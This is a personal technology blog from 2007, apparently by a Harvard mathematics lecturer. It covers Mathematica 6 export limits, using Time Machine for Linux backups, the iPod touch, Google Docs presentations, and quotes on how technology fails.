12-21-2007: Mathematica 6 does no more export graphic files without a front end. Despite many advances of Mathematica in many areas from 5->6, this would be almost a reason to abandon it. I produce many graphics files as batch jobs from the command line. When doing so, the message: "Export:nofe: A front end is not available; export of PDF requires a front end" appears Wolfram research confirmed that there is no workaround. I can not see any reason why the export procedure should check whether a front end is available (it is just writing a text file). Maybe they aim to disallow more creative use of Mathematica and so push some other products like Webmathematica. The strength of Mathematica has always been that it can be embedded well into other programs. True to the Unix philosophy, it could be part of a chain or programs or scripts. This seems have stopped. I can live with bugs and feature changes, but this is too much. I moved back to Mathematica 5 for illustration purposes and look for alternatives. I hope SAGE makes enough progress so that it can soon be used for educational use. But maybe a future version of Mathematica will reverse this.
10-19-2007: I like "time machine" in OSX. It comes close to the "snapshot" feature in Netapp file servers. Linux does not have anything similar, except for hand made rsync scripts. I use now a "Western digital Mybook" external hard drive with case sensitive format. The "studio edition" is quiet and has a good design. Backups from linux can be made on that drive and time machine used to keep my linux backups organized. I was not worried about the file sharing blockage because this must be implemented on the backup software level. Because the drive unmounts itself if the user is loged out, I first had to remount it by hand: "/usr/sbin/diskutil mount /dev/disk1s3". Adding a file "/Library/Preferences/SystemConfiguration/autodiskmount.plist" with content
now prevents the drive to be unmounted.
10-19-2007: The new ipod touch is wonderful. Surfing the web works fine at home, in the sun, in the bath tub ... I'm using it all the time. In the library, just after the gym, while walking. Its a great thing. Wish list:
• Permanent jailbreak
• Notes
09-19-2007: I tried out the new presentation feature in Google docs. It is still primitive but seems to work. Wish list:
• Movie inclusion
• Simple geometric objects
• Turning objects
• Layers
09-18-2007: The Wolfram demonstration project unfortunately does not allow the user to generate demonstrations locally on their own machine. One has to submit them to their server. It would otherwise be a great tool. Because .nbl files are closely related to .nb files, it looks possible to re-engineer the translation.
09-12-2007: Two remarkable statements:
• Most of the problems we have day to day have nothing to do with malice. Things break. Complex systems break in complex ways.

Steven M. Bellovin, Columbia University.
• Glitches could be an enormous problem in high-tech voting machines. Maybe we have focused too much on hackers and not on the possibility of something going wrong, he said. Sometimes the worst problems happen by accident.

Aviel D. Rubin, Johns Hopkins University.
Source.
09-10-2007: What can go wrong, will go wrong: The General Does Battle With ... a Broken Mike. It happens so often. There are usually small things. Today, in our calculus teacher orientation, we presented several things on the computer. A shaky plug produced problems, the wireless mouse behaved strangely. These things remind us how fragile technology can be. In this nice video it had been predicted that computers would supervise themselves and alert of failures.

Oliver Knill, Department of Mathematics, Harvard University, One Oxford Street, Cambridge, MA 02138, USA. SciCenter 432 Tel: (617) 495 5549, Email: knill@math.harvard.edu Twitter, Youtube, Vimeo, Linkedin Scholar Harvard Google plus Ello Webcam, Spring 2017 office hours: Mon-Fri 4-5 PM and by appointment.